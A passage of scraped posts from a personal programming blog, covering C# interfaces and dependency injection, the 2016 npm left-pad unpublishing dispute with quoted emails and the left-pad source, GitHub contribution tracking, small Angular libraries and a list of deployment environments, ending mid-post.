If you've written code for storage, you can imagine how having this template makes it a little easier to write the class that implements IBlob, but the value of this interface is the ability to use it for Dependency Injection. Let's take a look at another Interface (because they're short) that uses the IBlob interface as if it were an object.<br />
<br />
<br />
<pre class="prettyprint csharp">namespace Squire.Storage
{
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
public interface IBlobContainer : IBlobItem
{
IBlob GetBlob(string name);
void CreateIfNotExists();
void SetPermissions(BlobContainerPermissions permissions);
IBlobContainer GetContainer(string containerName);
void Delete();
IEnumerable<IBlob> SearchBlobs(string filter, bool recursive = false);
IEnumerable<IBlobContainer> SearchContainers(string filter, bool recursive = false);
IEnumerable<IBlobItem> Search(string filter, bool recursive = false);
IEnumerable<IBlobItem> Contents
{
get;
}
}
}
</pre>
<br />
So we can create objects and refer to the types by the interface instead of by the class. But ultimately, an interface is not a class. You cannot create an instance of an interface. You can only create an instance of a class. What we get is a state where you can rely on any class that implements your interface to have those same public properties. They call this a <a href="http://programmers.stackexchange.com/a/216858/51756">Contract</a>.<br />
<br />
<h4>
Wait, this is about inheritance?</h4>
<br />
No. This is where we talk about the second thing people talk about with Dependency Injection: Inversion of Control. The benefit of having these interfaces is that you no longer have to worry about HOW something will be implemented. You can pass off individual classes even between developers and they no longer have to know what each other are doing. They have an interface that binds them. That interface tells you in a very concise way what the architecture, the structure of your application is. The individual class implementations can be good or bad, but you don't have to know how one class works in order to work with another. Instead, you only need to know what public properties that class will provide you, and you can build your logic around it.<br />
<br />
<b>Inversion of Control</b> is where you decide which class to <b>inject</b> at runtime. You get control of your implementation at runtime, instead of at compile time. Your control is "inverted" from the traditional implementation.. If you think about a traditional implementation of the above interfaces, <b>BlobContainer</b> would have an instance of <b>Blob</b>. Which means that if you change Blob, you can easily break BlobContainer. But if BlobContainer relies on an IBlob interface, then you can change Blob all day. As long as it implements IBlob, BlobContainer will be unaffected by those changes. BlobContainer now has <b>control</b> over the contract it chooses to support with objects that implement IBlob, rather than the other way around.<br />
<br />
This is what Dependency Injection gives us. It creates a clear application structure that we can rely on. But it has a bonus feature. Interfaces can be implemented by multiple classes. Since we can swap out these classes at runtime, which means: we can swap out our implementation. For this reason, if you're working in a statically typed language, you should always use this Interface pattern. In fact, that pattern has been around a while. It's called the <b>Revealing Interface Pattern</b>, and has varying names and slightly modified versions in many languages, even those that are not statically typed.<br />
<br />
<h3>
So what's wrong?</h3>
<br />
Because you can change your implementation at runtime, you can do some crazy things. The craziest I have seen is that some people use their DI library to create "global singletons" that they can access throughout their application. <a href="http://c2.com/cgi/wiki?GlobalVariablesAreBad">Globals are bad</a>. <a href="https://en.wikipedia.org/wiki/Singleton_pattern">Singletons</a> are bad because people treat them like globals. Wrapping singletons in a Dependency Injection library adds extra weight. To add that extra weight in order to do something that's bad in the first place is <b>so dumb</b>.<br />
<br />
Use Interfaces to make your code easier to follow, and IoC in order to make it easier to change out dependencies (read: classes). Don't use DI to make your dependencies global. Dependency Injection: You're doing it wrong.<br />
<br />deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-35266234516197860772016-03-24T10:58:00.000-04:002016-03-24T11:10:41.823-04:00Javascript Broke, and no one noticedSo, on Tuesday, at around 11:30, the Javascript world went into cardiac arrest. The details are pretty interesting only if you're as deep in the code as I am, so here's a summary for the <a href="http://www.urbandictionary.com/define.php?term=tl%3Bdr">tl;dr;</a> crowd.<br />
<br />
<h3>
What happened?</h3>
<br />
Code builds on itself. No one (well, almost no one) codes in binary anymore because we came out with code that wraps groups of binary into smaller, more readable pieces. That then got wrapped the same way, and so on. That's how the software world works. Some <a href="http://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos/">articles</a> about this incident even use a Jenga tower as a reference, and that's not very far off (sadly). This isn't just from language to language either. Particularly in a language that's been around for a while (like Javascript), there are libraries of code within the language to do the same thing (wrap complex bits in smaller, more readable pieces). One of those libraries has been around for a loooooooooong time and pretty much everyone relied on it, somewhere deep down the Jenga tower (we call it the <a href="https://en.wikipedia.org/wiki/Solution_stack">software stack</a>). For the devs in my audience, some of the software that directly relied on <a href="https://github.com/azer/left-pad">left-pad</a> (the library that was the most important here) included <a href="https://nodejs.org/en/">Node.js</a> and <a href="https://babeljs.io/">Babel</a>. For the non-devs: it was pretty deep down the stack--so deep that most people weren't even aware they were relying on it.<br />
<br />
Azer Koçulu is the man of the hour. He built the tiny piece of code (literally 11 lines) that everyone was using. He was responsible for hundreds of emergency meetings on Tuesday (I don't know the exact number, but you can imagine a lot of execs calling their IT department screaming). He's a big deal in the OSS (open source software) community. He's published over 270 packages to npm, the place most people (including Node.js and Babel) get their Javascript code. On Tuesday he <a href="https://docs.npmjs.com/cli/unpublish">un-published</a> all 270+ of his packages, including one innocuous 11 line piece of code called left-pad. After that moment, everyone whose code relied on left-pad at some level was fine (really, it was). But new code starting out, and deployment builds all failed, because they couldn't retrieve one little <a href="https://en.wikipedia.org/wiki/Dependency_hell">dependency</a>.<br />
<br />
<h3>
Why did he do it?</h3>
<div>
<br /></div>
I'm not going to steal the man's thunder. He published <a href="https://medium.com/@azerbike/i-ve-just-liberated-my-modules-9045c06be67c#.ttaz21b6o">a blog post</a> in his own words saying why he did it. Here's the tl;dr version.<br />
<b><br /></b>
<b>Koçulu had a package named kik. A messenger company named kik asked Koçulu to give them the package name so they could use it instead. Koçulu refused. The company pleaded with npm. npm sided with kik. Koçulu was offended and decided not to be involved with npm in the future.</b><br />
<br />
It's a bit more complicated than that: Koçulu was good friends with most of the npm team, including the guy who took away his package. kik sent Koçulu threatening emails, and Koçulu sent kik rude emails. The whole thing took just under 3 weeks to come to this.<br />
<br />
For some perspective, here are some of the highlights from the email chain, which was published by the kik team in their <a href="https://medium.com/@mproberts/a-discussion-about-the-breaking-of-the-internet-3d4d2a83aa4d#.qiwsmmj4l">own blog post</a> on the matter.<br />
<br />
<b>kik:</b><br />
<blockquote class="tr_bq">
our trademark lawyers are going to be banging on your door and taking down your accounts and stuff like that</blockquote>
<br />
<b>Azer:</b><br />
<br />
<blockquote class="tr_bq">
fuck you. don’t e-mail me back.</blockquote>
<br />
<b>kik:</b><br />
<br />
<blockquote class="tr_bq">
Is there something we could do for you in compensation to get you to change the name?</blockquote>
<br />
<b>Azer:</b><br />
<br />
<blockquote class="tr_bq">
you can buy it for $30.000 for the hassle of giving up with my pet project for bunch of corporate dicks</blockquote>
<br />
<h3>
What I expected</h3>
<br />
While Koçulu was kind of a dick to kik, and kik was kind of a dick to Koçulu, all of that was more or less expected as far as I'm concerned. Open source developers, especially those as active as Azer are notoriously anti-establishment and are likely to respond to even gentle requests from them harshly. And kik has trademark rights to consider, so you expect them not to be nice when someone tells them no. They actually mentioned it in the email chain:<br />
<br />
<b>kik:</b><br />
<blockquote class="tr_bq">
we’d have no choice but to do all that because you have to enforce trademarks or you lose them.</blockquote>
<br />
All of that is more or less, the sort of banter you'd expect if you're as deep in the software world as I am. But that's not where it ended. kik went and got npm involved.<br />
<br />
<h3>
npm's take</h3>
<br />
kik sent numerous emails over the 3 weeks following the initial email thread with Koçulu about how rude he was to them asking "can you guys help?" repeatedly. Eventually, npm sent one email to both parties involved with this message.<br />
<br />
<b>npm:</b><br />
<br />
<blockquote class="tr_bq">
Hi, Azer.<br />
I hear your frustration. The desire to continue to use the kik and kik-starter package names, is clear.<br />
Our goal is to make publishing and installing packages as frictionless as possible. In this case, we believe that most users who would come across a kik package, would reasonably expect it to be related to kik.com. In this context, transferring ownership of these two package names achieves that goal. I understand that you’ve committed time and energy to the packages already, and we don’t take that lightly. I’m hopeful that you’ll be able to republish this project with a new name.<br />
Bob,<br />
Can you provide an npm account to transfer the name to?<br />
Thank you both for your patience and understanding.</blockquote>
<br />
So npm's decision was to transfer the package from one account to another. As anyone who's lost a battle would be, Koçulu was offended and decided to remove all of his code from this particular package manager. He even sent a reply with an explanation.<br />
<br />
<b>Azer:</b><br />
<br />
<blockquote class="tr_bq">
Isaac; I’m very disappointed with your decision here. I know you for years and would never imagine you siding with corporate patent lawyers threatening open source contributors.<br />
There are hundreds of modules like Kik, for example, Square; https://www.npmjs.com/package/square.<br />
So you’ll let these corporate lawyers register whatever name they want ? Noone is looking for a Kik package because they don’t have one.<br />
I want all my modules to be deleted including my account, along with this package. I don’t wanna be a part of NPM anymore. If you don’t do it, let me know how do it quickly. I think I have the right of deleting all my stuff from NPM.</blockquote>
<br />
<h3>
He deleted code?</h3>
<div>
<br /></div>
Well, no actually. He didn't delete anything. He just "un-published" them. You can still get access to all of his open source code on <a href="https://github.com/azer">his github account</a>. He simply doesn't want his code in the package management system that screwed him over. Sadly, the package management system he pulled his code from is the one that <b>everyone uses</b> so it broke everyone's code (remember that Jenga tower again?). It was relatively easy to fix things, but most people weren't aware of what was broken, so it resulted in a <a href="https://github.com/azer/left-pad/issues/4">very</a> <a href="https://news.ycombinator.com/item?id=11340510">big</a> <a href="https://www.reddit.com/r/programming/comments/4bjss2/an_11_line_npm_package_called_leftpad_with_only/">freak</a> <a href="https://twitter.com/search?f=tweets&vertical=default&q=left-pad%20npm&src=typd">out</a> (which is why I called it cardiac arrest and not death).<br />
<br />
<h3>
But I didn't notice</h3>
<br />
OK. To be fair, most people didn't notice. Most build processes are smarter than to publish code to production when something like that breaks. But the developers who were trying to publish code to production on Tuesday noticed, and that's what the big freakout was. In the software world, many companies publish code to production multiple-times per day, so you can see how quickly this becomes a corporate meeting.<br />
<br />
In fact, npm "fixed" the brokenness by re-publishing the left-pad package. npm's Laurie Voss made <a href="https://twitter.com/seldo/status/712414400808755200">the call</a> here. And later, npm published <a href="http://blog.npmjs.org/post/141577284765/kik-left-pad-and-npm">a followup</a> about the decision.<br />
<br />
<h3>
What's the contraversy here?</h3>
<br />
So most of the discussion is about the argument between Azer and kik, and about this "unprecedented" move by npm to re-publish an un-published package. I'm ok with all of that. I expected the argument, and I am even ok with npm choosing to publish someone's package without their consent. It is open source after all. I tend to side with Voss on this one:<br />
<br />
<b>Voss:</b><br />
<blockquote class="tr_bq">
In the meantime, several thousand open source projects have been repaired, and I'm sleeping fine tonight.</blockquote>
<br />
I have the same problem that Koçulu had to begin with. I think that npm should not be handing over projects to other users. That's a dispute between the parties involved. For npm to act as arbitrator in the situation is inappropriate. Moreover, to hand over a project from someone like Koçulu who has published over 270 open source packages to npm and knows the team on a first name basis to someone like the kik team, who sends nasty threatening emails to that same developer is wrong.<br />
<br />
We're talking about a community here, not just one guy. They may have made the kik team happier, but they damaged the community as a whole. They took the non-contributor and put him above one of their top contributors. That's very wrong to me.<br />
<br />
For completeness, and those who want it, here's the code that broke the "internet" for 2.5 hours.<br />
<br />
<br />
<pre class="prettyprint javascript">module.exports = leftpad;
function leftpad (str, len, ch) {
str = String(str);
var i = -1;
if (!ch && ch !== 0) ch = ' ';
len = len - str.length;
while (++i < len) {
str = ch + str;
}
return str;
}
</pre>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-76615891164874040102016-02-03T13:30:00.000-05:002016-02-03T13:30:44.406-05:00Github is weirdSo I'm coding all the time. As a result, I find it somewhat hillarious that my <a href="https://github.com/deltreey">github stats</a> don't show it, mostly because I do a lot of my coding on private repositories not on Github. In fact, as of late, I'm thrilled to be using my own <a href="https://gogs.io/">GoGS</a> server. It runs great on one of my raspberry pis.<br />
<br />
I've been <a href="https://github.com/deltreey/angular-simple-focus">coding</a> <a href="https://github.com/deltreey/angular-input-usd">a</a> <a href="https://github.com/deltreey/angular-esc-key">lot</a> <a href="https://github.com/deltreey/angular-input-digits">of</a> <a href="https://github.com/deltreey/angular-input-usphone">javascript</a> <a href="https://github.com/deltreey/angular-input-ssn">lately</a>, so this post will be heavy in js terminology. Don't mind that. The sum of it is in the title and the screenshots.<br />
<br />
<h3>
What I actually did</h3>
<br />
Last night (this morning?) I forked a <a href="https://github.com/deltreey/node-easyxml">repository</a> of an <a href="https://www.npmjs.com/">npm</a> package I'm using in one of my projects. I needed some new features added to it to make it work with the project, so I coded them. The work spreads across 4 commits.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-LxSTMVy5aeEQh26YDMKztL-S3BLZ_sdixRJdruKx37OULqJE7IytTwO6mczz-174J7uABZf1rbfbVrSFMasu7eq8Oydr9_lIykGv6OHE61Z1uBXdBY7cW4-abA19hdKBROBNvkI0yQTx/s1600/github-actual-work.png" imageanchor="1"><img border="0" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-LxSTMVy5aeEQh26YDMKztL-S3BLZ_sdixRJdruKx37OULqJE7IytTwO6mczz-174J7uABZf1rbfbVrSFMasu7eq8Oydr9_lIykGv6OHE61Z1uBXdBY7cW4-abA19hdKBROBNvkI0yQTx/s640/github-actual-work.png" width="640" /></a><br />
<br />
It wasn't much, and the commit to fix the tests didn't work because the original author wrote tests that assumed a specific timezone, so this wasn't yet pull request material. To keep it simple, I put the commits on the master branch and simply <a href="https://docs.npmjs.com/files/package.json#git-urls-as-dependencies">point my project at my fork</a> instead of the released versions of the project.<br />
<br />
Later, after some sleep, I started researching base for my fork only to realize that the author hasn't even looked at pull requests since <a href="https://github.com/tlhunter/node-easyxml/pull/1#event-354571151">July of 2015</a>. So I looked at some other forks, and considered basing my potential pull request off of a more recent version. Instead of just doing that and abandoning what is <a href="https://www.npmjs.com/package/easyxml">definitely</a> the basis for the project on npm, as a courtesy to the author I <a href="https://github.com/tlhunter/node-easyxml/issues/9">posted an issue</a> that the project appears to be dead and asked if we should redirect to a more active fork.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWx_GbAqTzzYuCVvdLiS5qgNmY6iQFMt9z7ACwxK9mpvtRn3SVaD74noOc8VS9wZq19Wa3HHMpupOs9oeVKiDGxen8q2JCPfWoopu8NIJCsuqNr8mbQFJV9F4tzXX94fNiSCM0wCbrKm2B/s1600/github-issue.png" imageanchor="1"><img border="0" height="268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWx_GbAqTzzYuCVvdLiS5qgNmY6iQFMt9z7ACwxK9mpvtRn3SVaD74noOc8VS9wZq19Wa3HHMpupOs9oeVKiDGxen8q2JCPfWoopu8NIJCsuqNr8mbQFJV9F4tzXX94fNiSCM0wCbrKm2B/s640/github-issue.png" width="640" /></a><br />
<br />
So, naturally, I expected Github to track my activity and show it in my contributions page.<br />
<br />
<h3>
What Github says I did</h3>
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR8jYu6veLnOVMru4WfKUhnEzNOUb3rIOz5BAfjhvfrgTiUaDGcAe7_sKXn8Ij8xIMiIFDoseL9gvfZLzepgfJMjZ9g9I5WoOq8Ry8Ahj9ZQq6GEhbMYWQvEqjdn12NEW3ekt09IJYsSQr/s1600/github-contributions.png" imageanchor="1"><img border="0" height="398" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR8jYu6veLnOVMru4WfKUhnEzNOUb3rIOz5BAfjhvfrgTiUaDGcAe7_sKXn8Ij8xIMiIFDoseL9gvfZLzepgfJMjZ9g9I5WoOq8Ry8Ahj9ZQq6GEhbMYWQvEqjdn12NEW3ekt09IJYsSQr/s640/github-contributions.png" width="640" /></a><br />
<br />
I noticed a few months back that github doesn't put anything on your contributions page if you are working on a branch that isn't "master" which must be annoying for people who don't use master as their main branch, but I can understand it and it results in "eventual" consistency with contributions showing up when your branch is merged into master. But that seems silly.<br />
<br />
What's worse, I noticed when I left my last job, that when you leave a team, your contributions to that team's private repositories no longer show up on Github either, but I guess I get that too...to the same extent.<br />
<br />
As of a few weeks ago, I noticed that issues showed up as contributions on this display. I can understand that issues are important, but to track them while not tracking actual commits....whatever I guess.<br />
<br />
All of that helps it make more sense when you see that, even though my contributions are to a public repository on the master branch, they don't show up because the repository's a fork...But then I realized something extremely unpleasant.<br />
<br />
<h3>
That's not just wrong, it's detrimental</h3>
<br />
Leave aside the fact that this encourages people to spam meaningless issues onto every repository they can find.<br />
<br />
I'd like to remind you instead that: <b>I'm using the forked repo in production</b>. That means that the information that github is showing is actually the <u>opposite</u> of what contributions I've made to software development today.<br />
<br />
I don't know what to say. Maybe I'm using github wrong. Let me know if you think so. Otherwise, feel free to share your own github stories. What's weird about github to you?.deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-3725227174080310872015-12-22T20:13:00.001-05:002015-12-22T20:13:16.648-05:00You don't know what you don't know<p dir="ltr">I've been programming since I was little.  I'm not just someone who wrote some code once when I was 15.  I code all the time because I enjoy it.  This industry is both very deep and very wide.  The ocean of available knowledge is what attracts me to it.  I bore easily, and the idea that I can always be learning something new is extremely appealing.  But, though it may change, at this point in time, I'm the exception, not the rule.</p>
<p dir="ltr">Not every programmer started as a kid.  Not every programmer does in for the sake of programming.  Most do it for the ego trip, or worse, the money.  But having the level of passion that I have for programming is something to be proud of.  That means that many people who do this job for other reasons--well, they fake it.</p>
<p dir="ltr"><b>But it's complicated</b></p>
<p dir="ltr">Like I said, the industry is a vast ocean of information.  This means that the tiniest amount of knowledge in an obscure enough area (it doesn't even have to be that deep) can give a person the appearance of being more skilled than someone who has spent thousands of hours more time studying other areas of development.  Let's name these people for simplicity.  Phil will be our name for the programmer who happens to know something extremely obscure (let's say he's an awk expert).  And Bill will be our name for the programmer who knows a lot of things, but has never heard of this obscure technology.</p>
<p dir="ltr">The thing is, Phil gets respect over Bill because of this knowledge.  "Even Bill doesn't know it!" say his co-workers.  Sometimes, Bill even compliments him.  "I wish I had your knowledge".  Phil doesn't know what Bill does, but he doesn't have to.  He was hired for this specific purpose.  And this is all great.  Phil gets lots of praise.  His ego inflates and he might even start to get the impression that he's actually a better programmer than Bill.</p>
<p dir="ltr"><b>And then things get complicated</b></p>
<p dir="ltr">Bill, Phil, and the rest of the team are invited to a meeting by Mark, the new project manager who is trying to plan out the next piece of software that the team has to build.  Bill is excited.  He presents a new piece of technology and explains how it will fit well on the existing technology stack.  Phil gets excited as well, and explains how this new branch of his obscure technology is perfect (maybe) for the problem area.</p>
<p dir="ltr">The team, having spent years complimenting Phil on how much smarter than Bill he was, backs the idea to use this obscure technology on the project.  A decision is made and Bill has to make it work.</p>
<p dir="ltr"><b>Do you see it now?</b></p>
<p dir="ltr">Bill is now responsible for a project written in a technology he has no knowledge of.  Phil, while extremely confident, will have no actual involvement in the project anyway.  The project will be written in an extremely obscure technology, making it harder for the team to get up to speed and learn what they need to get the job done.</p>
<p dir="ltr"><b>The project will fail</b></p>
<p dir="ltr">It's worse than just the team learning about the technology.  Phil doesn't have knowledge of the existing production stack, the vital knowledge that Bill has to use when making decisions about what tools to use for the project.  Using this obscure technology will actually be impossible for this company, but even the developers don't know that soon enough for it to be able to help.  The business has no clue.  The company will spend a lot of money on changing infrastructure to fit the needs as the developers discover they need this and that to make it work.  And then, when they're mostly there, they'll realize that it's close enough to impossible that the business is not going to waste money on it anymore.  And it gets worse than that, but let's not focus on the negatives.</p>
<p dir="ltr"><b>What about Phil?</b></p>
<p dir="ltr">Well, Phil hasn't been working on his project.  He won't get blamed when it fails.  Because he understands most of the technologies involved, he may get consulted on parts of it, and seeing the rudimentary mistakes of the other developers learning his technology he may even think it's failing purely because they're incompetent.  It's not his fault either.  His line of thought is perfectly reasoned based on the information he has.  But then, that's the mistake isn't it.  The information he has is incomplete.</p>
<p dir="ltr">This is a common issue in the pursuit of knowledge, and I wrote this post to explain why it manifests itself so strongly in software development. But with that explanation, it's also inspiration for a new way of thinking. As much time as I spend studying obscure, deep, complex bits of software, I don't spend as much time talking about it. Like Phil, I certainly want to talk about the cool stuff I was studying, but I don't usually get to.</p>
<p dir="ltr"><b>Back to basics</b></p>
<p dir="ltr">Instead, I spend most of my time talking about simple things. Even skilled developers often have a weak understanding of testing, readability, and sustainability. That's what I recommend you talk about also. If you're ever in Bill's shoes in a meeting trying to deal with an ugly situation, stop. Don't argue about a topic you don't understand. Fall back to the basics. Talk about sustainability. Talk about testability. Talk about readability. But above all, remember. It's not about today. It's about the long term. In 6 months, you're going to have to explain what happened. Be clear and concise. And above all, remember, you don't know what you don't know.</p>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-3157295339501008542015-12-11T00:06:00.001-05:002015-12-11T00:06:20.796-05:00Moar Dependencies!<p><a href="http://deltreey.blogspot.com/2014/05/work-smarter-not-harder.html">I write a lot of code</a>. I go to work and I code. I come home and I code. I code for <a href="http://kofc6624.com/">charities</a> in my freetime. I code for <a href="http://deltreey.blogspot.com/2014/09/mintduino-programming-error.html">custom electronics</a> when I’m bored. I code <a href="https://github.com/deltreey/Codingame-Tron-Bot">video game playing programs</a> when I need a break from, you know, coding.</p>
<p>The thing is, because I code for a living, not everything I write can be open sourced. And a lot of it might have private information in it that I don’t want to publish to the public. I like to give back to the community. I sometimes donate to open source projects. I pay for the software I use. And occasionally, I manage to give away some code to the open source community.</p>
<h3 id="code-is-hard">Code is hard</h3>
<p>I get it. Believe me. Code is hard to write, and <a href="http://blog.codinghorror.com/when-understanding-means-rewriting/">even harder to read</a>. People are afraid of being judged because programmers (and I include myself for sure) are <a href="https://www.youtube.com/watch?v=q-7l8cnpI4k">jerks</a>. And worse than a bunch of people saying nasty things about your project is the prospect that no one may ever care to even look at it. Ever.</p>
<h3 id="but-i-gotta-code">But I gotta code</h3>
<p>I don’t care. I’m going to code anyway, and <a href="http://makerfaire.com/maker-movement/">some of you</a> are too. We have to. We want to make <a href="http://www.internetoflego.com/">cool toys</a> for our kids. We want to build <a href="http://www.instructables.com/id/Intel-Automated-Gardening-System/">tools</a> to make our families lives better. We can’t not code. <a href="https://www.youtube.com/watch?v=STRPsW6IY8k">Programming is the future</a>. Everyone will be doing it eventually. It’s just a part of life today.</p>
<p>We’re going to create software because that’s a part of life. We’re going to create new things and recreate old things. There’s software to <a href="http://makezine.com/projects/semi-automatic-coffee-roaster/">automate life</a>, and software to create <a href="https://www.raspberrypi.org/blog/arcade-machine-barrel-table/">vintage toys</a>. Software powers everything. It’s going to get written. It’s going to break down. Like everything, it’s going to need changing.</p>
<h3 id="but-then-what">But then what?</h3>
<p>As a <a href="http://deltreey.blogspot.com/2014/12/gaming-is-essential.html">gamer</a> I have a tendency to plan ahead. I try to think about the future so that I can plan my next move in a video game, and make my life better in the future. This mentality extends itself to my code, and so I think about what happens after I’ve written the software. I’m going to want to change it. I’m going to want to maintain it. I’m going to want to share it someday.</p>
<p>That lends itself to building the code to be maintainable and spend time on design and architecture. I build servers to run my code long-term. And naturally, I use source control.</p>
<p>But source control’s not everything. You need redundancy!</p>
<h3 id="use-github">Use <a href="https://github.com/">Github</a></h3>
<p>So I use <a href="https://github.com/deltreey">Github</a> to keep my code in a second place. I use <a href="https://gogs.io/">GoGS</a> locally on one of my servers to keep my software in two places in case my hard drive dies, but when I think the software can be contributed to the community, I put it on Github so that everyone can get to it and contribute if they are interested.</p>
<p>It helps reduce the worry about what other people think if I’m doing it for me and not for others. Since Github is my redundancy server, if it turns out people care, great. If not, who cares? I have a backup!</p>
<h3 id="use-libraries">Use libraries</h3>
<p>If you believe anything I’ve said so far, then you understand that the amount of code in the world is only going to increase in time. And <a href="http://rosettacode.org/wiki/Strip_a_set_of_characters_from_a_string">much of it is the same</a>. New languages are just a bunch of code written in one of the existing languages with a new syntax. And writing that a thousand times for every device in your house is a lot of work…And then what if it’s broken? Then you have to fix it in 1000 places.</p>
<p>That is not a sustainable way to make the world work in the long term. You need <a href="http://josdejong.com/blog/2015/01/06/code-reuse/">reusable pieces</a> of code that can be updated everywhere with a change in one place. This is what we call a library.</p>
<h3 id="but-libraries-are-bad">But libraries are bad!</h3>
<p>Lots of people say that using libraries is bad because you’re reliant on other people for code.</p>
<p>This is a dumb argument. You can write your own libraries. More than that, you can <a href="http://www.mockobjects.com/2007/04/test-smell-everything-is-mocked.html">write your own interfaces</a> to make sure a library is doing what you want it to and doesn’t change and break your stuff. And it’s not like code can change after it’s on the server. The libraries are there for good. Plus, you can <a href="https://books.sonatype.com/nexus-book/index.html">manage</a> <a href="https://docs.nuget.org/create/hosting-your-own-nuget-feeds">your</a> <a href="https://www.npmjs.com/npm/on-site">libraries</a>! Most companies do.</p>
<h3 id="libraries-are-the-best">Libraries are the best</h3>
<p>Not just in terms of code quantity, turning <a href="http://rubyonrails.org/">thousands of lines of code</a> sometimes into a single reference, but in terms of saving time on architecting and designing good APIs and functionality, libraries save a lot of effort. Libraries consolidate similar tools together in a rational way.</p>
<h3 id="but-most-libraries-are-big">But most libraries are big</h3>
<p>Libraries like <a href="https://jquery.com/">JQuery</a> and <a href="http://underscorejs.org/">Underscore</a> are what some developers would consider <strong>small</strong> examples of how big libraries can get. And many times it’s wasteful in more than just hard drive space to have an excessively big library. So we build small tools for ourselves to get by. I find myself building custom pieces of code all the time that I know I’ve build before. The problem is that we are afraid of the number of libraries we reference, so we don’t want to have tiny libraries.</p>
<h3 id="why-not">Why not?</h3>
<p>I don’t see any reason not to have tiny libraries. This is the modern era. Even in the web, they all get minified into a single library for transit anyway. There’s no extra burden. So I’ve been building a gigantic application for a while and I realized I had a bunch of reusable pieces based on functionality I’ve seen elsewhere. Each piece in this case is a single <a href="https://angularjs.org/">angular</a> <a href="https://docs.angularjs.org/guide/directive">directive</a>. Each library is less than 50 lines of code. Pull in each one as you need it. If you don’t don’t. What do I care? I have a backup. But now I can change things in one place and use these tools elsewhere saving hundreds of lines of manual code per application I build.</p>
<h3 id="so-here-they-are">So here they are</h3>
<p>Without further ado. Here’s 6 angular directives published in the last 2 days after extracting them from my code.</p>
<p><a href="https://github.com/deltreey/angular-esc-key">https://github.com/deltreey/angular-esc-key</a> -> <a href="http://deltreey.github.io/angular-esc-key/">http://deltreey.github.io/angular-esc-key/</a> <br>
<a href="https://github.com/deltreey/angular-input-digits">https://github.com/deltreey/angular-input-digits</a> -> <a href="http://deltreey.github.io/angular-input-digits/">http://deltreey.github.io/angular-input-digits/</a> <br>
<a href="https://github.com/deltreey/angular-simple-focus">https://github.com/deltreey/angular-simple-focus</a> -> <a href="http://deltreey.github.io/angular-simple-focus/">http://deltreey.github.io/angular-simple-focus/</a> <br>
<a href="https://github.com/deltreey/angular-input-usphone">https://github.com/deltreey/angular-input-usphone</a> -> <a href="http://deltreey.github.io/angular-input-usphone/">http://deltreey.github.io/angular-input-usphone/</a> <br>
<a href="https://github.com/deltreey/angular-input-ssn">https://github.com/deltreey/angular-input-ssn</a> -> <a href="http://deltreey.github.io/angular-input-ssn/">http://deltreey.github.io/angular-input-ssn/</a> <br>
<a href="https://github.com/deltreey/angular-input-usd">https://github.com/deltreey/angular-input-usd</a> -> <a href="http://deltreey.github.io/angular-input-usd/">http://deltreey.github.io/angular-input-usd/</a></p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-51258270510106023702015-10-01T13:35:00.001-04:002015-10-01T13:58:01.099-04:00Software Development Environments<p>Over my years in software development, the one topic that comes up a lot and is often ignored is environments. So here, based purely on anecdotal evidence, is what I know about software environments.</p>
<h3 id="there-are-seven-environments">There are seven environments</h3>
<p>I know about seven environments that software can run in. Are all seven necessary? Probably not. In some cases they even serve similar purposes. The truth is, you only ever need ONE environment. The others serve the purpose of improving the one. That one? Production.</p>
<ol>
<li>Production</li>
<li>Beta</li>
<li>Staging</li>
<li>Quality Assurance (QA)</li>
<li>Test</li>
<li>Development</li>
<li>Local</li>
</ol>
<h4 id="production">Production</h4>
<p>Production is the one and only environment that matters. Production is where your code sits when people are interacting with it. Whether production is a webserver, or a distribution channel where people download and install your application locally. What matters is, your production code is the code that people rely on, bug report on, and request features on.</p>
<h4 id="beta">Beta</h4>
<p>Beta is a form of production. A beta environment is the environment that your less <a href="https://en.wikipedia.org/wiki/Risk_aversion">risk-averse</a> users will use to get the latest features of your application sooner. That means this is basically a slightly buggier production environment with more features. That also means that this environment is technically a subset of production.</p>
<h4 id="staging">Staging</h4>
<p>Staging is a copy of production. The staging environment is where you demonstrate new production features before they go into production. Quite often, staging uses the production data for read, but doesn’t write to it. A great example of staging in action, is a demo site that you show clients what your application looks like, fully functional, before selling it to them.</p>
<h4 id="quality-assurance">Quality Assurance</h4>
<p>QA is the environment your manual testers use. If you don’t have a team of testers, you probably don’t need a QA environment. It is a form of a test environment, with the exception that it is deployed code in the exact same way that production code will be deployed so that your testers are not dealing with tweaks made by developers that may or may not have happened in production. The idea is that your testers can deploy the latest version of the application to the QA environment and see if it works.</p>
<h4 id="test">Test</h4>
<p>The test environment is usually used as the QA environment, but ideally it is a more flexible environment that developers can test against as well. This means that sometimes it is used for <a href="https://msdn.microsoft.com/en-us/library/bb924357.aspx">performance testing and load testing</a> an application, which would make QA unusable if testers were working in it.</p>
<h4 id="development-dev">Development (Dev)</h4>
<p>The dev environment is just for developers. This environment often has custom tweaks, is constantly breaking, and serves the purpose of a realistic environment for developers to test out the new features their working on. In many places, the development environment is the local environment, but that is not always the case. It’s important that dev and production be separate, because otherwise, when developers are trying something new, they’re likely to cause you to lose users when they break things.</p>
<h4 id="local">Local</h4>
<p>The local environment is the develper’s computer. This sometimes includes the code that matches the development environment, but some companies have almost nothing local except what the developer wants to use to edit code (text editor, IDE, etc). Everyone has a local environment, even you, reading this post.</p>
<h3 id="what-does-that-mean">What does that mean?</h3>
